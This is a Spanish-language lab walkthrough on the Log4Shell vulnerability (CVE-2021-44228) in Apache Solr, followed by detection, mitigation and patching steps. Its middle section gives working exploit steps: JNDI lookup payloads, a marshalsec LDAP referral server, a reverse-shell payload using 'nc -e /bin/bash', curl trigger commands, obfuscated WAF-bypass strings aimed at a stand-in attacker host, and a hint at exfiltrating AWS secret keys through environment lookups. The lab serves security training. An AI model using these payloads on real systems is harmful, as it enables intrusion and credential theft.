La vulnerabilidad Log4j, también conocida como "Log4Shell" o "CVE-2021-44228", es una falla de seguridad crítica en la biblioteca Apache Log4j. Log4j es un framework de registro basado en Java ampliamente utilizado que permite a los desarrolladores registrar mensajes de aplicaciones en varios destinos, como archivos, bases de datos y salidas de consola.

La vulnerabilidad fue descubierta en diciembre de 2021 y ha ganado una atención significativa debido a su gravedad y potencial de explotación. Afecta a las versiones 2.x de Log4j y, en algunos casos, incluso a versiones anteriores. La vulnerabilidad Log4j es una vulnerabilidad de ejecución remota de código (RCE, por sus siglas en inglés), lo que significa que un atacante puede ejecutar código arbitrario en un sistema objetivo explotando la falla. La vulnerabilidad es causada por un defecto de diseño en la biblioteca Log4j relacionado con el procesamiento de mensajes de registro que contienen datos especialmente diseñados.

La explotación de la vulnerabilidad depende de la capacidad de inyectar código malicioso en el mensaje de registro. Esto se puede lograr a través de varios vectores, como campos de entrada controlados por el usuario, encabezados de solicitudes HTTP u otros datos proporcionados por el usuario que se pasan a la declaración de registro.

Cuando una aplicación vulnerable procesa un mensaje de registro que contiene los datos especialmente diseñados, Log4j interpreta los datos como una búsqueda en Java Naming and Directory Interface (JNDI). Al explotar este comportamiento, un atacante puede crear un payload que desencadena una búsqueda JNDI hacia un servidor malicioso controlado por el atacante. Este servidor puede responder con un payload que se ejecuta en el sistema objetivo, permitiendo al atacante lograr la ejecución remota de código.

El impacto de la vulnerabilidad Log4j es grave porque Log4j se usa ampliamente en diversas aplicaciones basadas en Java, incluidos servidores web, aplicaciones y servicios en la nube. La vulnerabilidad permite a los atacantes obtener acceso no autorizado a los sistemas afectados, lo que potencialmente conduce a violaciones de datos, compromiso del sistema y una mayor explotación del entorno comprometido.

Hoy, la versión 2.16.0 de log4j está disponible y parchea esta vulnerabilidad (JNDI está totalmente deshabilitado, se elimina el soporte para Message Lookups y la nueva vulnerabilidad DoS CVE-2021-45046 no está presente). (https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0)

Sin embargo, el peligro inmenso de esta vulnerabilidad se debe a lo omnipresente que es el paquete de registro. Millones de aplicaciones, así como proveedores de software, utilizan este paquete como dependencia en su propio código. Si bien usted puede parchear su propio código basado en log4j, otros vendedores y fabricantes aún tendrán que distribuir sus propias actualizaciones de seguridad. Muchos investigadores de seguridad han comparado esta vulnerabilidad con Shellshock por la naturaleza de su enorme superficie de ataque. Veremos esta vulnerabilidad durante años.

Para obtener una lista creciente respaldada por la comunidad de software y servicios vulnerables a CVE-2021-44228, consulte este repositorio de GitHub (https://github.com/YfryTchsGD/Log4jAttackSurface)

Si bien hay una serie de otros artículos, blogs, recursos y material de aprendizaje sobre CVE-2021-44228, yo (el autor de este ejercicio) tengo especial preferencia por estos:

El paquete log4j agrega lógica adicional a los registros al "analizar" las entradas, en última instancia para enriquecer los datos, pero también puede tomar acciones e incluso evaluar código basado en los datos de la entrada. Esta es la esencia de CVE-2021-44228. Otra sintaxis puede, de hecho, ejecutarse tal como se ingresa en los archivos de registro. Algunos ejemplos de esta sintaxis son:

${sys:os.name}
${sys:user.name}
${log4j:configParentLocation}
${ENV:PATH}
${ENV:HOSTNAME}
${java:version}

Probablemente ya conozca el payload general para abusar de esta vulnerabilidad log4j. El formato de la sintaxis habitual que aprovecha esto se ve así:

${jndi:ldap://ATTACKERCONTROLLEDHOST}

Esta sintaxis indica que log4j invocará funcionalidad desde "JNDI", o la "Java Naming and Directory Interface". En última instancia, esto se puede utilizar para acceder a recursos externos, o "referencias", que es lo que se utiliza como arma en este ataque.

Observe el esquema "ldap://". Esto indica que el objetivo se comunicará con un endpoint (una ubicación controlada por el atacante, en el caso de este ataque) a través del protocolo LDAP. Por razones de brevedad, no necesitaremos cubrir todos los pormenores y detalles de LDAP aquí, pero sepa que es algo con lo que tendremos que trabajar a medida que refinamos nuestro ataque. Por ahora, sepa que el objetivo de hecho hará una conexión a una ubicación externa. Esto se indica mediante el marcador de posición ATTACKERCONTROLLEDHOST en la sintaxis anterior. Usted, actuando como atacante en este escenario, puede alojar un simple listener para ver esta conexión.

La siguiente pregunta es, ¿dónde podríamos ingresar esta sintaxis? En cualquier lugar que tenga datos registrados por la aplicación.

Este es el meollo de esta vulnerabilidad. Desafortunadamente, es muy difícil determinar dónde está la superficie de ataque para diferentes aplicaciones y, por lo tanto, qué aplicaciones son de hecho vulnerables. Simplemente ver la presencia de archivos log4j no revela el número de versión exacto, ni siquiera dónde o cómo la aplicación podría usar el paquete.

Otros lugares donde podría suministrar esta sintaxis JNDI:

Campos de entrada, formularios de inicio de sesión de usuario y contraseña, puntos de entrada de datos dentro de las aplicaciones
Encabezados HTTP como User-Agent, X-Forwarded-For u otros encabezados personalizables
Cualquier lugar para datos proporcionados por el usuario

Si desea más información sobre este vector de ataque JNDI, revise esta presentación de Black Hat USA de 2016. https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

POC

Para preparar su entorno para probar la vulnerabilidad y recibir una conexión, vea la dirección IP de su propia máquina atacante con el siguiente comando: user@host$ ip addr show
Prepare un listener de netcat en cualquier puerto de su elección (9999 es un buen ejemplo): user@host$ nc -lnvp 9999
Ahora que tiene un listener preparado, realice una solicitud que incluya esta sintaxis de payload JNDI primitiva como parte de los parámetros HTTP. Esto se puede hacer fácilmente con la utilidad de línea de comandos curl. user@host$ curl 'h<target_url>/solr/?foo=${jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:9999}' Nota: debido al uso del carácter de signo de dólar $ en su sintaxis, debe asegurarse de envolver la URL entre comillas simples para que bash (su shell de línea de comandos) no la interprete como una variable. Además, debe escapar las llaves { } con un solo carácter de barra invertida, para que no se representen incorrectamente en los argumentos del comando curl.
Verifique que ha recibido una conexión viendo el siguiente mensaje en su listener de netcat: Connection received from <x.x.x.x>

Explotación En este punto, ha verificado que el objetivo es de hecho vulnerable al ver esta conexión capturada en su listener de netcat. Sin embargo, realizó una solicitud LDAP... así que todo lo que su listener de netcat puede haber visto fueron caracteres no imprimibles (bytes de aspecto extraño). Ahora podemos construir sobre esta base para responder con un manejador LDAP real.

Utilizaremos una utilidad pública de código abierto para montar un "LDAP Referral Server" (servidor de referencia LDAP). Esto se usará esencialmente para redirigir la solicitud inicial de la víctima a otra ubicación, donde puede alojar un payload secundario que finalmente ejecutará código en el objetivo. Esto se desglosa así:

${jndi:ldap://attackerserver:1389/Resource} -> se comunica con nuestro servidor de referencia LDAP
El servidor de referencia LDAP redirige la solicitud a un http://attackerserver/resource secundario
La víctima recupera y ejecuta el código presente en http://attackerserver/resource

Esto significa que necesitaremos un servidor HTTP, que podríamos alojar simplemente con cualquiera de las siguientes opciones (sirviendo en el puerto 8000):

python3 -m http.server
php -S 0.0.0.0:8000 (o cualquier otro busybox httpd o servicio web formal que le guste)

La primera tarea, sin embargo, es obtener el servidor de referencia LDAP. Usaremos la utilidad marshalsec ofrecida en https://github.com/mbechler/marshalsec

En última instancia, esto necesita ejecutar Java. Al revisar el README de esta utilidad, sugiere usar Java 8. (Puede o no tener éxito usando una versión diferente, pero para "jugar según las reglas", igualaremos la misma versión de Java utilizada en la máquina objetivo).

Vea los pasos para instalar Java 8 localmente:

Si no está ejecutando 1.8.0_181 en su máquina atacante, puede revisar los pasos de "update-alternatives --set" a continuación para cambiar a esta versión de Java 8. Puede encontrar un espejo de diferentes versiones de Java para ejecutar en Linux en esta ubicación. http://mirrors.rootpei.com/jdk/

Ejecute los siguientes comandos para configurar su sistema para usar esta versión de Java por defecto (ajuste la ruta del sistema de archivos de descarga según corresponda): Comandos: sudo mkdir /usr/lib/jvm cd /usr/lib/jvm sudo tar xzvf ~/Downloads/jdk-8u181-linux-x64.tar.gz # modify the version as needed sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_181/bin/java" 1 sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_181/bin/javac" 1 sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0_181/bin/javaws" 1 sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_181/bin/java sudo update-alternatives --set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac sudo update-alternatives --set javaws /usr/lib/jvm/jdk1.8.0_181/bin/javaws

Después de haber descargado, extraído y configurado los ajustes apropiados del sistema de archivos (la sintaxis de update-alternatives) anteriores, debería poder ejecutar "java -version" y verificar que de hecho ahora está ejecutando Java 1.8.0_181.

Clone (https://github.com/mbechler/marshalsec) y entre en esta nueva carpeta "marshalsec".

Debemos compilar marshalsec con la herramienta de compilación de Java, maven. Si aún no tiene maven en su sistema, puede instalarlo a través de su gestor de paquetes: Comando: sudo apt install maven

A continuación, ejecute el comando para compilar la utilidad marshalsec: Comando: mvn clean package -DskipTests

Con la utilidad marshalsec compilada, podemos iniciar un servidor de referencia LDAP para dirigir las conexiones a nuestro servidor HTTP secundario (que prepararemos en un momento). Es más que bienvenido a profundizar en el uso, los parámetros y otras configuraciones que se pueden ajustar con esta herramienta, pero para fines de demostración, la sintaxis para iniciar el servidor LDAP es la siguiente: user@host:~/marshalsec$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.ATTACKER.IP.ADDRESS:8000/#Exploit" # Adjust the IP address for your attacking machine as needed. Note that we will supplied the HTTP port listening on 8000.

Ahora que nuestro servidor LDAP está listo y esperando, podemos abrir una segunda ventana de terminal para preparar nuestro payload final y el servidor HTTP secundario.

En última instancia, la vulnerabilidad log4j ejecutará código arbitrario que usted cree dentro del lenguaje de programación Java. Si no está familiarizado con Java, no se preocupe: usaremos una sintaxis simple que simplemente "invoca" la ejecución de un comando del sistema. De hecho, obtendremos una conexión reverse shell para poder tomar control de la máquina objetivo. Cree y muévase a un nuevo directorio donde pueda alojar este payload. Primero, cree su payload en un editor de texto de su elección (mousepad, nano, vim, Sublime Text, VS Code, lo que sea), con el nombre específico "Exploit.java" (proporcionado en este repositorio). Modifique su dirección IP de atacante y número de puerto según corresponda.

Para este payload, puede ver que ejecutaremos un comando en el objetivo, específicamente nc -e /bin/bash para devolver una conexión a nuestra máquina atacante, aunque es más que bienvenido a experimentar con otros payloads.

Compile su payload con "javac Exploit.java" y verifique que tuvo éxito ejecutando el comando "ls" y encontrando un "Exploit.class" recién creado. Con su payload creado y compilado, ahora puede alojarlo levantando un servidor HTTP temporal. user@host:~/ python3 -m http.server

Su payload está creado y compilado, está alojado con un servidor HTTP en una terminal, su servidor de referencia LDAP está activo y esperando en otra terminal -- a continuación, prepare un listener de netcat para capturar su reverse shell en otra ventana de terminal nueva: user@host$ nc -lnvp 9999

Finalmente, todo lo que queda es activar el exploit y lanzar nuestra sintaxis JNDI. Note los cambios en el número de puerto (ahora refiriéndose a nuestro servidor LDAP) y el recurso que recuperamos, especificando nuestro exploit (modifique su dirección IP de atacante según corresponda): user@host$ curl 'http://10.10.8.231:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:1389/Exploit\}'

Ahora ha recibido acceso inicial y comando y control. En este punto, un actor de amenazas puede hacer de manera realista lo que quiera con la víctima -- ya sea escalada de privilegios, exfiltración, instalación de persistencia, movimiento lateral o cualquier otra post-explotación -- potencialmente instalando mineros de criptomonedas, troyanos de acceso remoto, beacons e implantes, o incluso desplegando ransomware.

Persistencia Ahora que ha obtenido una conexión de reverse shell en la máquina víctima, puede continuar tomando cualquier acción que desee. Para comprender mejor esta vulnerabilidad log4j, otorguémonos "mejor acceso" para poder explorar la máquina, analizar los registros afectados e incluso mitigar la vulnerabilidad.

Si desea "estabilizar su shell" para tener más facilidad al escribir comandos, puede usar el truco de actualización habitual (asumiendo que está ejecutando un shell bash. Si está ejecutando zsh, necesitará haber iniciado su listener de netcat dentro de un subshell bash... debería ser bastante fácil re-explotar):

(en el reverse shell) python3 -c "import pty; pty.spawn('/bin/bash')"
(presione en su teclado) Ctrl+Z
(presione en su teclado) Enter
(en su host local) stty raw -echo
(en su host local) fg (no verá sus teclas -- confíe en usted mismo y presione Enter)
(presione en su teclado) Enter
(presione en su teclado) Enter
(en el reverse shell) export TERM=xterm

Ahora tiene un shell estable, donde puede usar con seguridad las teclas de flecha izquierda y derecha para moverse por su entrada, las flechas arriba y abajo para revisar el historial de comandos, Tab para autocompletar y Ctrl+C de forma segura para detener programas en ejecución.

Detección Desafortunadamente, encontrar aplicaciones vulnerables a CVE-2021-44228 "Log4Shell" es difícil. Detectar la explotación podría ser aún más difícil, considerando la cantidad ilimitada de bypasses potenciales.

Dicho esto, la comunidad de seguridad de la información ha visto un increíble derroche de esfuerzo y apoyo para desarrollar herramientas, scripts y código para limitar mejor esta amenaza. Puede encontrar una enorme cantidad de recursos en línea.

A continuación se muestran fragmentos que podrían ayudar en ambos esfuerzos:

https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes (local, basado en hashes de archivos JAR de log4j)
https://gist.github.com/olliencc/8be866ae94b6bee107e3755fd1e9bf0d (local, basado en hashes de archivos CLASS de log4j)
https://github.com/nccgroup/Cyber-Defence/tree/master/Intelligence/CVE-2021-44228 (listado de hashes JAR y CLASS vulnerables)
https://github.com/omrsafetyo/PowerShellSnippets/blob/master/Invoke-Log4ShellScan.ps1 (local, búsqueda de paquetes log4j vulnerables en PowerShell)
https://github.com/darkarnium/CVE-2021-44228 (local, reglas YARA)

Como recordatorio, un recurso masivo está disponible aquí:

https://www.reddit.com/r/sysadmin/comments/reqc6f/log4j_0day_being_exploited_mega_thread_overview/

Bypasses El payload JNDI que he mostrado es la sintaxis estándar y "típica" para realizar este ataque. Si es un pentester o un red teamer, esta sintaxis podría ser capturada por firewalls de aplicaciones web (WAF) o detectada fácilmente. Si es un blue teamer o respondedor de incidentes, debería estar buscando y detectando activamente esa sintaxis.

Debido a que este ataque aprovecha log4j, el payload puede, en última instancia, acceder a todos los mismos trucos de expansión, sustitución y plantillas que el paquete pone a disposición. Esto significa que un actor de amenazas podría usar cualquier tipo de trucos para ocultar, enmascarar u ofuscar el payload.

Con eso en mente, honestamente hay un número ilimitado de bypasses para colar esta sintaxis. Si bien no profundizaremos en los detalles en este ejercicio, le animamos a jugar con ellos en este entorno. Léalos cuidadosamente para comprender qué trucos se están utilizando para disfrazar la sintaxis original.

Hay numerosos recursos en línea que muestran algunos ejemplos de estos bypasses, con algunos ofrecidos a continuación:

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/}

Note el uso del protocolo rmi:// en el último. Esta es también otra técnica válida que se puede utilizar con la utilidad marshalsec -- ¡siéntase libre de experimentar!

Adicionalmente, dentro del motor de log4j, puede expandir variables de entorno arbitrarias (como si esto no fuera ya bastante malo). Considere el daño que podría hacerse incluso con ejecución remota de código, pero una simple conexión LDAP y la exfiltración de ${env:AWS_SECRET_ACCESS_KEY}

Para otras técnicas, se le anima encarecidamente a hacer su propia investigación. Hay una cantidad significativa de información compartida en este hilo de Reddit: https://www.reddit.com/r/sysadmin/comments/reqc6f/log4j_0day_being_exploited_mega_thread_overview/

Mitigación Ahora que ha actuado como adversario por un rato, por favor quítese el sombrero de hacker y mitiguemos la vulnerabilidad. Revise las técnicas de mitigación sugeridas en el sitio web de Apache Solr. (https://solr.apache.org/security.html)

Una opción es modificar manualmente el archivo "solr.in.sh" con una sintaxis específica. Sigamos esa ruta para mostrar esta táctica defensiva.

La página de Seguridad del sitio web de Apache Solr explica que puede agregar esta sintaxis específica al archivo solr.in.sh:

SOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true"

Modifique el archivo solr.in.sh con un editor de texto de su elección. Necesitará el prefijo sudo para obtener privilegios de root si aún no es root. Desplácese hasta la parte inferior del archivo y agregue una nueva línea con la sintaxis anterior. Guarde y cierre el archivo.

Ahora que el archivo de configuración ha sido modificado, el servicio aún debe reiniciarse para que los cambios surtan efecto. Comando:
user@host$ sudo /etc/init.d/solr restart

Para validar que el parche se ha aplicado, inicie otro listener de netcat como lo hizo antes, y levante su servidor de referencia LDAP temporal y su servidor HTTP (nuevamente en terminales separadas). Querrá recrear la misma configuración para re-explotar la máquina.

Debería ver que no se realiza ninguna solicitud a su servidor LDAP temporal, en consecuencia no se realiza ninguna solicitud a su servidor HTTP, y... ¡no se envía ninguna reverse shell de vuelta a su listener de netcat!

Parcheo Al momento de crear este ejercicio, Apache Solr 8.11.1 aún no ha sido lanzado con un parche formal para CVE-2021-44228. Junto con muchos otros proveedores de software, la industria está apurándose frenéticamente para parchear su software y enviarlo a los usuarios finales lo más rápido que puedan.

Cuando corresponda, asegúrese de parchear el paquete logging-log4j a la versión 2.16.0 o superior (a medida que estén disponibles nuevas versiones). En la versión 2.16.0, JNDI está totalmente deshabilitado, se elimina el soporte para Message Lookups y la nueva vulnerabilidad DoS CVE-2021-45046 no está presente. Descargue este lanzamiento aquí: https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0Si eres responsable de identificar servicios vulnerables que usan log4j, aquí hay una lista de algunos servicios/productos mayormente afectados (https://www.techsolvency.com/story-so-far/cve-2021-44228-log4j-log4shell/).

Log4j_CVE-2021-44228

Más Populares